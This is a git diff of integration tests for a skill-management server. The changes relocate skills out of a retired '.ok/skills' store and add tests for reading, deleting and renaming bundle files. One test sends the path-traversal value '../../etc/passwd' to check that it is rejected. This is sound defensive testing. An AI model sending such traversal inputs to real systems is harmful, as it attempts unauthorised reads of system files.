headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify({ targets: ['claude', 'vscode'] }),
+ body: JSON.stringify({}),
});
expect(res.status).toBe(400);
});
diff --git a/packages/app/tests/integration/api-error-envelope/skill.test.ts b/packages/app/tests/integration/api-error-envelope/skill.test.ts
index b4e7ceb38..d1a541e73 100644
--- a/packages/app/tests/integration/api-error-envelope/skill.test.ts
+++ b/packages/app/tests/integration/api-error-envelope/skill.test.ts
@@ -57,7 +57,10 @@ describe('skill envelope (RFC 9457) + CRUD lifecycle', () => {
expect(parsed.success).toBe(true);
if (parsed.success) {
expect(parsed.data.created).toBe(true);
- expect(parsed.data.path).toBe('trip-log/SKILL.md');
+ // Store retirement: authored IN-PLACE (default home editor dir), not the
+ // retired `.ok/skills` store — the path ends with the real bundle path.
+ expect(parsed.data.path).toMatch(/\/trip-log\/SKILL\.md$/);
+ expect(parsed.data.path).not.toContain('.ok/skills');
}
expect((body as Record<string, unknown>).ok).toBeUndefined();
});
@@ -139,10 +142,10 @@ describe('skill envelope (RFC 9457) + CRUD lifecycle', () => {
if (parsed.success) {
const entry = parsed.data.skills.find((s) => s.name === 'trip-log');
expect(entry).toBeDefined();
- // A freshly written, never-installed skill enriches to Draft (no
- // marker record) with no host dirs.
- expect(entry?.installed).toBe(false);
- expect(entry?.hosts).toEqual([]);
+ // Store retirement + no Draft: a skill that exists lives in-place, so it is
+ // ALWAYS installed where it physically is (never a hostless Draft).
+ expect(entry?.installed).toBe(true);
+ expect(entry?.hosts?.length ?? 0).toBeGreaterThan(0);
}
});
diff --git a/packages/app/tests/integration/attribution-sweep-coverage.test.ts b/packages/app/tests/integration/attribution-sweep-coverage.test.ts
index 5bee25ad8..1f87692fb 100644
--- a/packages/app/tests/integration/attribution-sweep-coverage.test.ts
+++ b/packages/app/tests/integration/attribution-sweep-coverage.test.ts
@@ -63,12 +63,34 @@ const REQUIRED_HANDLERS = [
// call site. Renamed handleUploadImage → handleUploadAsset
// because the route is no longer image-specific after the upload unification.
'handleUploadAsset',
- // `/api/skill/update` — refresh an installed starter-pack skill from OK's
- // bundled source. A mutating CRDT content-doc write (composeAndWriteRawBody
- // through the project skill content doc), so it threads identity at entry
- // (extractActorIdentity for the timeline + extractAgentIdentity for the
- // session) like the other content-write handlers.
- 'handleSkillUpdate',
+ // `/api/skill/import` — acquire a skill into `.ok/skills` as content. A
+ // mutating write through the same content writers an authored skill uses
+ // (`applySkillWrite` + `applySkillBundleFileWrite`), so it threads identity
+ // at entry (`extractActorIdentity`) and shadow-commits the project artifact.
+ 'handleSkillImport',
+ // `/api/skills/import-bulk` — the same acquisition spine as
+ // `/api/skill/import`, run once per selected skill against a single clone, so
+ // it threads identity at entry exactly the same way.
+ 'handleSkillsImportBulk',
+ // `/api/skill/reimport` — refresh an imported skill from its recorded
+ // upstream (`.ok/skills-lock.json`). Re-fetches and rewrites the skill via
+ // the same content writers as import, so it threads identity at entry
+ // (`extractActorIdentity`) like `handleSkillImport`.
+ 'handleSkillReimport',
+ // `/api/skill-upload` — materialize an uploaded skill archive into
+ // `.ok/skills` via the shared `finishSkillImport` spine (the same content
+ // writers as import), so it threads identity at entry (`extractActorIdentity`)
+ // like `handleSkillImport`.
+ 'handleSkillUpload',
+ // `/api/skill/move-scope` — relocate a skill across scopes (project ↔ global).
+ // Copies the bundle verbatim + removes the source in one atomic op; the
+ // project-scope side is shadow-committed, so it threads identity at entry
+ // (`extractActorIdentity`) like the other mutating skill handlers.
+ 'handleSkillMoveScope',
+ // `/api/skill/duplicate` — copy a complete skill bundle under a new project
+ // artifact identity. Project copies are shadow-committed, so attribution is
+ // extracted at the route boundary like import and cross-scope move.
+ 'handleSkillDuplicate',
// `/api/lint/fix` — apply markdownlint's auto-fixes to a document through the
// agent-write spine (applyAgentMarkdownWrite). A mutating CRDT content-doc
// write, so it threads extractAgentIdentity at entry to attribute the fix to
@@ -182,7 +204,42 @@ const EXEMPT_HANDLERS = new Set([
// route-registry entry is the dispatcher, exempt by the same rationale as
// `handleSkill` / `handleTemplate`.
'handleSkillFile',
+ // `/api/skill-file/rename` — moves ONE bundle file; threads
+ // `extractActorIdentity` itself (folder timeline) and rides the same
+ // project-config posture as its PUT/DELETE siblings.
+ 'handleSkillFileRename',
'handleSkillsList',
+ // `/api/skills/search` + `/api/skills/detail` — read-only skill-discovery
+ // proxies (GET). Search proxies skills.sh with a GitHub-topic fallback;
+ // detail enriches one result from the skills.sh page's Open Graph tags.
+ // Neither writes, so there is nothing to attribute.
+ 'handleSkillsSearch',
+ 'handleSkillsDetail',
+ // `/api/skill/edit-external` — arms the external-skill registry (name → real
+ // dir) so a detected skill opens as an editable `__extskill__/` buffer. Authors
+ // no CRDT content itself; the autosave-out writes happen later through
+ // persistence (classified `file-system`). Loopback-gated local-op, same
+ // exempt posture as `handleSkillInstall` / `handleInstallSkill`.
+ 'handleSkillEditExternal',
+ // `/api/skills/discover` — read-only peek at a remote source (throwaway
+ // shallow clone) enumerating the skills it bundles so Import can offer a
+ // picker. Writes nothing to attribute.
+ 'handleSkillsDiscover',
+ // `/api/skills/popular` — read-only Discover blank-state list, scraped from the
+ // skills.sh front page + cached. Writes nothing to attribute.
+ 'handleSkillsPopular',
+ // `/api/skills/preview` — fetches an un-imported skill's SKILL.md text (via a
+ // throwaway shallow clone) so the Explore modal can render it before import.
+ // Read-only; writes nothing to attribute.
+ 'handleSkillsPreview',
+ // `/api/skills/resolve-ref` — resolves a skill's `/other-skill` reference by
+ // trusted-provenance precedence (local / same-source clone / same-publisher
+ // search). Read-only lookup; writes nothing to attribute.
+ 'handleSkillsResolveRef',
+ // `/api/skills/installed` — read-only cross-harness installed-skill
+ // enumeration (marketplace slice 1). Reads harness skill dirs + the Claude
+ // plugin manifest; performs no writes, so there is nothing to attribute.
+ 'handleSkillsInstalled',
// `/api/skill/install` — projects a skill's source into editor host dirs on
// this machine. A local-op projection (writes `.{host}/skills/`, OUTSIDE the
// content/CRDT plane), not an attributed content mutation — the SOURCE edit
@@ -197,16 +254,15 @@ const EXEMPT_HANDLERS = new Set([
// action (local-op projection), not agent-authored content; same exempt
// posture as `handleSkillInstall`.
'handleSkillTargets',
- // `/api/skills/management` — GET reads / PUT records the per-machine
- // project-managed opt-in + runs the import reconcile (local-op projection).
- // A user/UI project-config action, not agent-authored content; same exempt
- // posture as `handleSkillTargets`.
- 'handleSkillsManagement',
// `/api/skill/restore` (fs-direct restore of a `.ok/skills/` artifact). Same
// project-config posture as the other skill handlers — restore threads
// `extractActorIdentity` to attribute the new version, but the artifact is
// config, not agent-authored doc content.
'handleSkillRestore',
+ // `/api/skill/revert` (fs-direct restore to the install baseline). Threads
+ // `extractActorIdentity` to attribute the revert as a new version, same posture
+ // as restore.
+ 'handleSkillRevert',
'handleSuggestLinks',
'handlePageHeadings',
'handleHistory',
diff --git a/packages/app/tests/integration/conflict-gate-coverage.test.ts b/packages/app/tests/integration/conflict-gate-coverage.test.ts
index 556428ef9..adc86ceda 100644
--- a/packages/app/tests/integration/conflict-gate-coverage.test.ts
+++ b/packages/app/tests/integration/conflict-gate-coverage.test.ts
@@ -65,14 +65,17 @@ const REQUIRED_HANDLERS = [
// `.md` references are real CRDT content docs, so their CRDT paired-write
// path must refuse a mid-conflict doc via `checkSkillDocConflictGate`. The
// `/api/skill` + `/api/skill-file` dispatchers route to the gated PUT
- // sub-handlers; `/api/skill/update` gates inline. (DELETE sub-handlers tear
+ // sub-handlers. (DELETE sub-handlers tear
// the doc down rather than mutate its body, and global skills + scripts are
// fs-direct non-CRDT artifacts the gate no-ops on.)
'handleSkill',
'handleSkillPut',
'handleSkillFile',
'handleSkillFilePut',
- 'handleSkillUpdate',
+ // `/api/skill-file/rename` — a project `.md` reference is a live content
+ // doc; its identity move refuses a mid-conflict doc via
+ // `checkSkillDocConflictGate` before teardown.
+ 'handleSkillFileRename',
// `/api/lint/fix` — auto-fix a document's markdownlint violations through
// `applyAgentMarkdownWrite`, which refuses a mid-conflict doc
// (`DocInConflictError` → `respondDocInConflict`), so the gate rides the
@@ -232,7 +235,34 @@ const EXEMPT_HANDLERS = new Set([
'handleSkillUninstall',
'handleSkillTargets',
'handleSkillRestore',
+ 'handleSkillRevert',
'handleSkillsManagement',
+ // Skill discovery + import (skills marketplace). Search/detail/installed are
+ // read-only proxies; import/reimport/upload materialize an upstream (or
+ // uploaded) skill to disk fs-direct (like seed/clone) rather than mutating a
+ // Y.Doc body, so the per-doc conflict gate doesn't apply.
+ 'handleSkillsInstalled',
+ 'handleSkillsSearch',
+ 'handleSkillsDetail',
+ 'handleSkillsDiscover',
+ 'handleSkillsPreview',
+ 'handleSkillsResolveRef',
+ 'handleSkillsPopular',
+ 'handleSkillImport',
+ 'handleSkillsImportBulk',
+ // `/api/skill/edit-external` — arms the external-skill registry only; authors
+ // no CRDT doc body (autosave-out happens later through persistence), so the
+ // per-doc conflict gate doesn't apply.
+ 'handleSkillEditExternal',
+ 'handleSkillReimport',
+ 'handleSkillUpload',
+ // Cross-scope skill move: copies the bundle dir + removes the source
+ // fs-direct (like import/delete), not a Y.Doc body write, so the per-doc
+ // conflict gate doesn't apply.
+ 'handleSkillMoveScope',
+ // Skill duplicate copies an unopened bundle to a new, absent directory
+ // fs-direct; it does not mutate an existing Y.Doc body.
+ 'handleSkillDuplicate',
'handleSeedPlan',
'handleSeedApply',
'handleSeedPacks',
diff --git a/packages/app/tests/integration/derived-document-index-lifecycle.test.ts b/packages/app/tests/integration/derived-document-index-lifecycle.test.ts
index 49741ecc8..d978b01dd 100644
--- a/packages/app/tests/integration/derived-document-index-lifecycle.test.ts
+++ b/packages/app/tests/integration/derived-document-index-lifecycle.test.ts
@@ -196,6 +196,18 @@ test('direct create, duplicate, rename, and delete keep links and tags in lockst
}
});
+/**
+ * Content-doc name for a skill, taken from the path the SERVER reports.
+ *
+ * Never hardcode it. The `.ok/skills` store is retired, so a skill lands at the
+ * project's DEFAULT skill home — `resolveDefaultSkillHomeRel` picks `.agents/skills`,
+ * else the first existing editor root, else `.claude/skills`. Which of those wins
+ * depends on what exists in the content dir, so a literal that holds locally can
+ * fail on another machine.
+ */
+const docNameFromPath = (skillMdPath: unknown): string =>
+ String(skillMdPath).replace(/\.mdx?$/i, '');
+
test('project skill moves refresh backlinks and tags at the relocated content doc name', async () => {
const server = await createTestServer();
const relationSignals = connectRelationSignals(server.port);
@@ -221,14 +233,12 @@ test('project skill moves refresh backlinks and tags at the relocated content do
),
);
expect(created.status).toBe(200);
+ const createdDoc = docNameFromPath(created.body.path);
await pollUntil(async () => {
const tags = await tagDocuments(server.baseUrl, 'skill-lifecycle');
const backlinks = await backlinkSources(server.baseUrl, 'skill-target');
- return (
- tags.includes('.ok/skills/lifecycle-skill/SKILL') &&
- backlinks.includes('.ok/skills/lifecycle-skill/SKILL')
- );
+ return tags.includes(createdDoc) && backlinks.includes(createdDoc);
});
const moved = await expectRelationSignalsAfter(relationSignals.signals, () =>
@@ -240,13 +250,33 @@ test('project skill moves refresh backlinks and tags at the relocated content do
);
expect(moved.status).toBe(200);
- await pollUntil(async () => {
- const expected = '.ok/skills/relocated-skill/SKILL';
- const old = '.ok/skills/lifecycle-skill/SKILL';
- const tags = await tagDocuments(server.baseUrl, 'skill-lifecycle');
- const backlinks = await backlinkSources(server.baseUrl, 'skill-target');
- return tags.includes(expected) && !tags.includes(old) && backlinks.includes(expected);
- });
+ // Stuck (not slow) on CI while passing locally, so capture what the index
+ // actually holds and put it in the failure — a bare `pollUntil` timeout says
+ // only "never became true", which is not a diagnosis.
+ const expected = createdDoc.replace('lifecycle-skill', 'relocated-skill');
+ let lastTags: string[] = [];
+ let lastBacklinks: string[] = [];
+ try {
+ await pollUntil(async () => {
+ lastTags = await tagDocuments(server.baseUrl, 'skill-lifecycle');
+ lastBacklinks = await backlinkSources(server.baseUrl, 'skill-target');
+ return (
+ lastTags.includes(expected) &&
+ !lastTags.includes(createdDoc) &&
+ lastBacklinks.includes(expected)
+ );
+ }, 20_000);
+ } catch (err) {
+ throw new Error(
+ `post-rename re-index never settled.
+ created doc : ${createdDoc}
+ expected : ${expected}
+ tags now : ${JSON.stringify(lastTags)}
+ backlinks : ${JSON.stringify(lastBacklinks)}
+ has expected=${lastTags.includes(expected)} still-has-old=${lastTags.includes(createdDoc)} backlink-ok=${lastBacklinks.includes(expected)}
+${String(err)}`,
+ );
+ }
} finally {
relationSignals.destroy();
await server.cleanup();
diff --git a/packages/app/tests/integration/error-envelope-coverage.test.ts b/packages/app/tests/integration/error-envelope-coverage.test.ts
index de12ed33f..794b3ee5d 100644
--- a/packages/app/tests/integration/error-envelope-coverage.test.ts
+++ b/packages/app/tests/integration/error-envelope-coverage.test.ts
@@ -137,6 +137,15 @@ function isNonJsonEmit(body: string): boolean {
// and is scanned separately under its own name.
const DISPATCHER_RE = /(?:return|await)\s+handle\w+\(\s*req\s*,\s*res\b/;
+// Shared response spine: `respondSkillImport(res, ...)` is the common
+// success+error emitter for the import and upload handlers — it flows the 2xx
+// body through `successResponse(...)` itself (verified by the dedicated test
+// below). A handler that delegates its success emit to the spine therefore
+// satisfies the wire-boundary contract even though its own body has no literal
+// `successResponse(` call, exactly like the `handle*(req, res)` dispatcher case.
+const SHARED_SUCCESS_SPINE_NAME = 'respondSkillImport';
+const SHARED_SUCCESS_SPINE_RE = new RegExp(`\\b${SHARED_SUCCESS_SPINE_NAME}\\(\\s*res\\b`);
+
type EmitClass = 'json' | 'non-json' | 'dispatcher';
/**
@@ -268,7 +277,11 @@ describe('error envelope coverage (FR17, D36 a) — fail-on-any-occurrence', ()
if (!body) continue;
const cls = classifyHandlerEmit(body);
counts[cls]++;
- if (cls === 'json' && !body.includes('successResponse(')) {
+ if (
+ cls === 'json' &&
+ !body.includes('successResponse(') &&
+ !SHARED_SUCCESS_SPINE_RE.test(body)
+ ) {
failures.push(
`${name}: JSON-emitting handler missing successResponse(...) — every 2xx success body must flow through the helper`,
);
@@ -287,6 +300,34 @@ describe('error envelope coverage (FR17, D36 a) — fail-on-any-occurrence', ()
expect(counts.dispatcher).toBeGreaterThanOrEqual(3);
});
+ test('the shared success spine flows 2xx through successResponse (delegation is not a bypass)', () => {
+ // The successResponse per-handler scan accepts a handler that delegates its
+ // 2xx emit to `respondSkillImport(res, ...)` (the import/upload spine). That
+ // delegation is only sound if the spine itself flows through
+ // `successResponse(...)` and emits no inline `{ ok: false }` envelope — the
+ // spine is NOT a `handle*` route handler, so the per-handler scans above
+ // never see it. Pin it directly so the exemption can't silently rot.
+ // The spine may be sync or async (it became sync when the acquisition half
+ // split off into a pure `runSkillImport`), so both forms have to match — an
+ // `async`-only probe would silently stop finding it and pass vacuously.
+ const spineDecl = new RegExp(`\\n {2}(?:async )?function ${SHARED_SUCCESS_SPINE_NAME}\\(`);
+ const declMatch = spineDecl.exec(source);
+ expect(declMatch).not.toBeNull();
+ const start = declMatch?.index ?? -1;
+ expect(start).toBeGreaterThan(-1);
+ const afterStart = start + 1;
+ const nextFn = source.indexOf('\n async function ', afterStart);
+ const nextSyncFn = source.indexOf('\n function ', afterStart);
+ const nextConst = source.indexOf('\n const handle', afterStart);
+ const bounds = [nextFn, nextSyncFn, nextConst].filter((i) => i !== -1);
+ const end = bounds.length === 0 ? source.length : Math.min(...bounds);
+ const spineBody = source.slice(start, end);
+ expect(spineBody.includes('successResponse(')).toBe(true);
+ expect(INLINE_ERROR_RE.test(spineBody)).toBe(false);
+ expect(INLINE_SUCCESS_WRAPPER_RE.test(spineBody)).toBe(false);
+ expect(INLINE_BARE_SUCCESS_RE.test(spineBody)).toBe(false);
+ });
+
test('zero inline { ok: false } envelopes anywhere in api-extension.ts', () => {
// Whole-file sweep: catches inline literals outside per-handler bodies
// (helper functions, the onRequest extension, route-table fallthroughs).
diff --git a/packages/app/tests/integration/hook-timeout-stop-rules.test.ts b/packages/app/tests/integration/hook-timeout-stop-rules.test.ts
index f95ead4a6..b79beebed 100644
--- a/packages/app/tests/integration/hook-timeout-stop-rules.test.ts
+++ b/packages/app/tests/integration/hook-timeout-stop-rules.test.ts
@@ -213,7 +213,7 @@ describe('hook-timeout STOP rule — beforeAll must carry an explicit timeout',
expect(scanBeforeAllSites('beforeAll(boot,);')[0]?.hasTimeoutArg).toBe(false);
// Adjacent negative: import specifier is not a call site.
- expect(scanBeforeAllSites("import { beforeAll, test } from 'bun:test';").length).toBe(0);
+ expect(scanBeforeAllSites("import { beforeAll, test } from 'vitest';").length).toBe(0);
// Adjacent negative: mentions inside comments and strings are skipped.
const inertMentions = [
diff --git a/packages/app/tests/integration/managed-artifact-doc.test.ts b/packages/app/tests/integration/managed-artifact-doc.test.ts
index a061803a5..a2cd3e7a4 100644
--- a/packages/app/tests/integration/managed-artifact-doc.test.ts
+++ b/packages/app/tests/integration/managed-artifact-doc.test.ts
@@ -106,11 +106,10 @@ describe('skill + template CRDT docs — end to end', () => {
await client.cleanup();
}, 30_000);
- test('PUT /api/skill routes the body through the open project skill content doc', async () => {
- const docName = '.ok/skills/put-routed/SKILL';
- const client = await createTestClient(server.port, docName, { skipInvariantWatcher: true });
-
- const res = await fetch(`http://127.0.0.1:${server.port}/api/skill`, {
+ test('PUT /api/skill creates IN-PLACE, then routes edits through the open real doc', async () => {
+ // CREATE (store retirement): a new skill is born at the scope's default
+ // skill home (fs-direct, same spine as import), NOT in `.ok/skills`.
+ const createRes = await fetch(`http://127.0.0.1:${server.port}/api/skill`, {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
@@ -119,20 +118,36 @@ describe('skill + template CRDT docs — end to end', () => {
frontmatter: { name: 'put-routed', description: 'Use when proving the CRDT write path.' },
}),
});
- expect(res.status).toBe(200);
+ expect(createRes.status).toBe(200);
+ const createBody = (await createRes.json()) as { path: string; created: boolean };
+ expect(createBody.created).toBe(true);
+ expect(createBody.path.startsWith('.ok/skills/')).toBe(false);
+ const skillFile = resolve(server.contentDir, createBody.path);
+ expect(await pollFor(skillFile)).toBe(true);
+
+ // EDIT: with a client bound to the skill's REAL content doc, the PUT
+ // mutates the SAME Y.Doc — proof edits route through the doc, not a
+ // side-channel fs write.
+ const docName = createBody.path.replace(/\.md$/i, '');
+ const client = await createTestClient(server.port, docName, { skipInvariantWatcher: true });
+ const editRes = await fetch(`http://127.0.0.1:${server.port}/api/skill`, {
+ method: 'PUT',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({
+ name: 'put-routed',
+ body: '# Routed\n\nEdited via CRDT.\n',
+ frontmatter: { name: 'put-routed', description: 'Use when proving the CRDT write path.' },
+ }),
+ });
+ expect(editRes.status).toBe(200);
const expected =
- '---\nname: put-routed\ndescription: Use when proving the CRDT write path.\n---\n# Routed\n\nVia CRDT.\n';
+ '---\nname: put-routed\ndescription: Use when proving the CRDT write path.\n---\n# Routed\n\nEdited via CRDT.\n';
const start = Date.now();
while (Date.now() - start < 5000 && client.ytext.toString() !== expected) {
await new Promise((r) => setTimeout(r, 50));
}
- // The HTTP PUT mutated the SAME Y.Doc the editor client is bound to —
- // proof the write routes through the doc, not a side-channel fs write.
expect(client.ytext.toString()).toBe(expected);
-
- const skillFile = resolve(server.contentDir, '.ok', 'skills', 'put-routed', 'SKILL.md');
- expect(await pollFor(skillFile)).toBe(true);
expect(readFileSync(skillFile, 'utf-8')).toBe(expected);
await client.cleanup();
diff --git a/packages/app/tests/integration/skill-bundle-files.test.ts b/packages/app/tests/integration/skill-bundle-files.test.ts
index 5a9dc324f..8010cc386 100644
--- a/packages/app/tests/integration/skill-bundle-files.test.ts
+++ b/packages/app/tests/integration/skill-bundle-files.test.ts
@@ -1,4 +1,4 @@
-import { existsSync, readFileSync } from 'node:fs';
+import { existsSync, readFileSync, writeFileSync } from 'node:fs';
import { resolve } from 'node:path';
import { afterEach, beforeEach, describe, expect, test } from 'vitest';
import { createTestServer, pollUntil, type TestServer } from './test-harness.ts';
@@ -25,13 +25,17 @@ describe('skill bundle files via /api/skill-file', () => {
const base = () => `http://127.0.0.1:${server.port}`;
- async function putSkill(name: string, description: string, body: string): Promise<void> {
+ /** Creates the skill and returns its REAL bundle dir rel (creates land at
+ * the default skill home — store retirement). */
+ async function putSkill(name: string, description: string, body: string): Promise<string> {
const res = await fetch(`${base()}/api/skill`, {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ name, scope: 'project', body, frontmatter: { name, description } }),
});
if (!res.ok) throw new Error(`skill PUT failed: ${res.status} ${await res.text()}`);
+ const payload = (await res.json()) as { path: string };
+ return payload.path.replace(/\/SKILL\.md$/, '');
}
async function putSkillFile(name: string, path: string, content: string) {
@@ -43,8 +47,21 @@ describe('skill bundle files via /api/skill-file', () => {
return res;
}
+ /**
+ * A freshly created project skill must be DURABLE on disk the instant the
+ * create response resolves — not ~100ms later on the natural debounce — so a
+ * fast create->rename/delete can't 404 on `existsSync(skillDir)`. Regression
+ * for the create-path force-flush (`flushDiskAndDetectOutcome({ force })`).
+ */
+ test('a newly created skill SKILL.md is on disk before the create response resolves', async () => {
+ const dir = await putSkill('fresh', 'durable on create', '# Fresh\n');
+ // No pollUntil / debounce wait: the file must already be on disk.
+ const skillMd = resolve(server.contentDir, dir, 'SKILL.md');
+ expect(existsSync(skillMd)).toBe(true);
+ });
+
test('a project .md reference persists as a content doc and joins the link graph', async () => {
- await putSkill('demo', 'a demo skill', '# Demo\n\nSee references.\n');
+ const demoDir = await putSkill('demo', 'a demo skill', '# Demo\n\nSee references.\n');
// A reference whose body links OUT to a target doc — proves the ref is a
// graph-participating content doc (its forward link resolves).
@@ -60,8 +77,9 @@ describe('skill bundle files via /api/skill-file', () => {
// doc (project `.md` reference), not the fs-direct path.
expect(refBody.content).toBe(true);
- // It persists to disk at the expected skill-relative path.
- const refFile = resolve(server.contentDir, '.ok', 'skills', 'demo', 'references', 'notes.md');
+ // It persists to disk at the expected skill-relative path (the skill's
+ // REAL dir — creates land at the default skill home).
+ const refFile = resolve(server.contentDir, demoDir, 'references', 'notes.md');
await pollUntil(() => existsSync(refFile));
expect(readFileSync(refFile, 'utf-8')).toContain('[[target-doc]]');
@@ -83,7 +101,7 @@ describe('skill bundle files via /api/skill-file', () => {
const data = (await res.json()) as { backlinks?: Array<{ source: string }> };
return (
Array.isArray(data.backlinks) &&
- data.backlinks.some((b) => b.source === '.ok/skills/demo/references/notes')
+ data.backlinks.some((b) => b.source === `${demoDir}/references/notes`)
);
});
});
@@ -113,7 +131,8 @@ describe('skill bundle files via /api/skill-file', () => {
*
*/
test('a renamed skill re-indexes its moved .md references into the link graph (no rescan)', async () => {
- await putSkill('demo3', 'a demo skill', '# Demo\n\nSee references.\n');
+ const demo3Dir = await putSkill('demo3', 'a demo skill', '# Demo\n\nSee references.\n');
+ const demo3Root = demo3Dir.split('/').slice(0, -1).join('/');
const refRes = await putSkillFile(
'demo3',
'references/notes.md',
@@ -130,7 +149,7 @@ describe('skill bundle files via /api/skill-file', () => {
// Pre-move sanity: the reference resolves at its original doc name.
await pollUntil(async () =>
- (await backlinkSources('move-target')).includes('.ok/skills/demo3/references/notes'),
+ (await backlinkSources('move-target')).includes(`${demo3Dir}/references/notes`),
);
// RENAME the skill — refs are git-mv'd on disk; nothing rewrites them
@@ -139,12 +158,28 @@ describe('skill bundle files via /api/skill-file', () => {
expect(moved.ok).toBe(true);
// The moved reference resolves at its NEW ref doc name…
- await pollUntil(async () =>
- (await backlinkSources('move-target')).includes('.ok/skills/demo3-renamed/references/notes'),
- );
+ // Stuck (not slow) on CI while passing locally — surface the actual index
+ // contents so the next failure is a diagnosis rather than a bare timeout.
+ const expectedRef = `${demo3Root}/demo3-renamed/references/notes`;
+ let lastSources: string[] = [];
+ try {
+ await pollUntil(async () => {
+ lastSources = await backlinkSources('move-target');
+ return lastSources.includes(expectedRef);
+ }, 20_000);
+ } catch (err) {
+ throw new Error(
+ `renamed skill's reference never re-indexed.
+ skill dir : ${demo3Dir}
+ skill root : ${demo3Root}
+ expected ref: ${expectedRef}
+ backlinks : ${JSON.stringify(lastSources)}
+${String(err)}`,
+ );
+ }
// …and the stale old-name source is gone (not a duplicate).
const sources = await backlinkSources('move-target');
- expect(sources).not.toContain('.ok/skills/demo3/references/notes');
+ expect(sources).not.toContain(`${demo3Dir}/references/notes`);
}, 20000);
test('a script round-trips through the universal per-file read (no native cat)', async () => {
@@ -178,18 +213,11 @@ describe('skill bundle files via /api/skill-file', () => {
*
*/
test('a .mdx reference opens when requested as .md (extension-less node fallback)', async () => {
- await putSkill('mdxskill', 'has an mdx ref', '# Mdx\n');
+ const mdxDir = await putSkill('mdxskill', 'has an mdx ref', '# Mdx\n');
const put = await putSkillFile('mdxskill', 'references/guide.mdx', '# Guide\n\nMDX body.\n');
expect(put.ok).toBe(true);
- const onDisk = resolve(
- server.contentDir,
- '.ok',
- 'skills',
- 'mdxskill',
- 'references',
- 'guide.mdx',
- );
+ const onDisk = resolve(server.contentDir, mdxDir, 'references', 'guide.mdx');
await pollUntil(() => existsSync(onDisk));
// Requested as `.md`, but the file is `.mdx` — the server resolves it.
@@ -207,6 +235,114 @@ describe('skill bundle files via /api/skill-file', () => {
expect(got.kind).toBe('reference');
});
+ /**
+ * A full-directory skill (import copies the WHOLE dir) can carry files outside
+ * references/scripts — a root `config.yaml`, a `data/` subdir. `listSkillFiles`
+ * walks the whole dir, so such a file shows in the sidebar tree; the READ must
+ * serve it too, or the tree shows a file that fails to open (§8.1: "appears in
+ * file mode but says couldn't load in skills mode"). Containment still guards.
+ *
+ */
+ test('a bundle file outside references/scripts (root config.yaml) is readable', async () => {
+ const cfgDir = await putSkill('cfgskill', 'has a root config', '# Cfg\n');
+ const dir = resolve(server.contentDir, cfgDir);
+ await pollUntil(() => existsSync(dir));
+ // The restricted PUT only accepts references/scripts, but a full-directory
+ // import can land files anywhere — write one directly to mirror that.
+ const yaml = 'version: 1\nname: cfgskill\n';
+ writeFileSync(resolve(dir, 'config.yaml'), yaml);
+
+ const get = await fetch(
+ `${base()}/api/skill-file?name=cfgskill&scope=project&path=config.yaml`,
+ );
+ expect(get.ok).toBe(true);
+ const got = (await get.json()) as { path: string; kind: string; text: string };
+ expect(got.text).toBe(yaml);
+ expect(got.path).toBe('config.yaml');
+
+ // Containment + basic guards still hold: an empty path and an escaping path
+ // are rejected even though the references/scripts restriction is lifted.
+ const empty = await fetch(`${base()}/api/skill-file?name=cfgskill&scope=project&path=`);
+ expect(empty.status).toBe(400);
+ const escaping = await fetch(
+ `${base()}/api/skill-file?name=cfgskill&scope=project&path=${encodeURIComponent('../../etc/passwd')}`,
+ );
+ expect(escaping.status).toBe(400);
+ });
+
+ /**
+ * DELETE resolves the skill's REAL (in-place) dir — the raw store root
+ * silently no-opped every in-place bundle-file delete while reporting
+ * success (store-fossil class).
+ */
+ test('DELETE removes an in-place bundle file from the REAL dir (not a store no-op)', async () => {
+ const dirRel = await putSkill('del-target', 'delete pin', '# Body\n');
+ expect(dirRel.startsWith('.ok/skills/')).toBe(false); // creates land in-place
+ expect((await putSkillFile('del-target', 'references/gone.md', '# Gone\n')).status).toBe(200);
+ const abs = resolve(server.contentDir, dirRel, 'references', 'gone.md');
+ expect(existsSync(abs)).toBe(true);
+
+ const del = await fetch(
+ `${base()}/api/skill-file?name=del-target&scope=project&path=${encodeURIComponent('references/gone.md')}`,
+ { method: 'DELETE' },
+ );
+ expect(del.status).toBe(200);
+ const payload = (await del.json()) as { existed: boolean };
+ expect(payload.existed).toBe(true);
+ expect(existsSync(abs)).toBe(false);
+ });
+
+ /**
+ * §8.9: rename moves the file on disk, moves the live content-doc identity,
+ * and refuses to overwrite an existing destination.
+ */
+ test('rename moves an in-place .md reference (disk + doc identity), never overwrites', async () => {
+ const dirRel = await putSkill('rename-target', 'rename pin', '# Body\n');
+ expect((await putSkillFile('rename-target', 'references/old.md', '# Old\n')).status).toBe(200);
+ expect((await putSkillFile('rename-target', 'references/taken.md', '# Taken\n')).status).toBe(
+ 200,
+ );
+
+ const rename = (from: string, to: string) =>
+ fetch(`${base()}/api/skill-file/rename`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ name: 'rename-target', scope: 'project', from, to }),
+ });
+
+ // Occupied destination refuses — never an overwrite.
+ expect((await rename('references/old.md', 'references/taken.md')).status).toBe(400);
+
+ const res = await rename('references/old.md', 'references/deep/new.md');
+ expect(res.status).toBe(200);
+ const payload = (await res.json()) as {
+ fromDocName?: string;
+ toDocName?: string;
+ };
+ expect(payload.fromDocName).toBe(`${dirRel}/references/old`);
+ expect(payload.toDocName).toBe(`${dirRel}/references/deep/new`);
+ expect(existsSync(resolve(server.contentDir, dirRel, 'references', 'old.md'))).toBe(false);
+ expect(
+ readFileSync(resolve(server.contentDir, dirRel, 'references', 'deep', 'new.md'), 'utf-8'),
+ ).toContain('# Old');
+ });
+
+ /**
+ * The mutation surface admits ANY in-bundle path (root files, custom dirs) —
+ * only SKILL.md stays managed-verbs-only.
+ */
+ test('PUT writes root files + custom dirs; SKILL.md stays protected', async () => {
+ const dirRel = await putSkill('any-path', 'wide surface', '# Body\n');
+ expect((await putSkillFile('any-path', 'NOTES.md', '# Root note\n')).status).toBe(200);
+ expect((await putSkillFile('any-path', 'assets/tokens/colors.json', '{}\n')).status).toBe(200);
+ expect(existsSync(resolve(server.contentDir, dirRel, 'NOTES.md'))).toBe(true);
+ expect(existsSync(resolve(server.contentDir, dirRel, 'assets', 'tokens', 'colors.json'))).toBe(
+ true,
+ );
+ // The skill's identity file never mutates through the file surface.
+ expect((await putSkillFile('any-path', 'SKILL.md', '# hijack\n')).status).toBe(400);
+ });
+
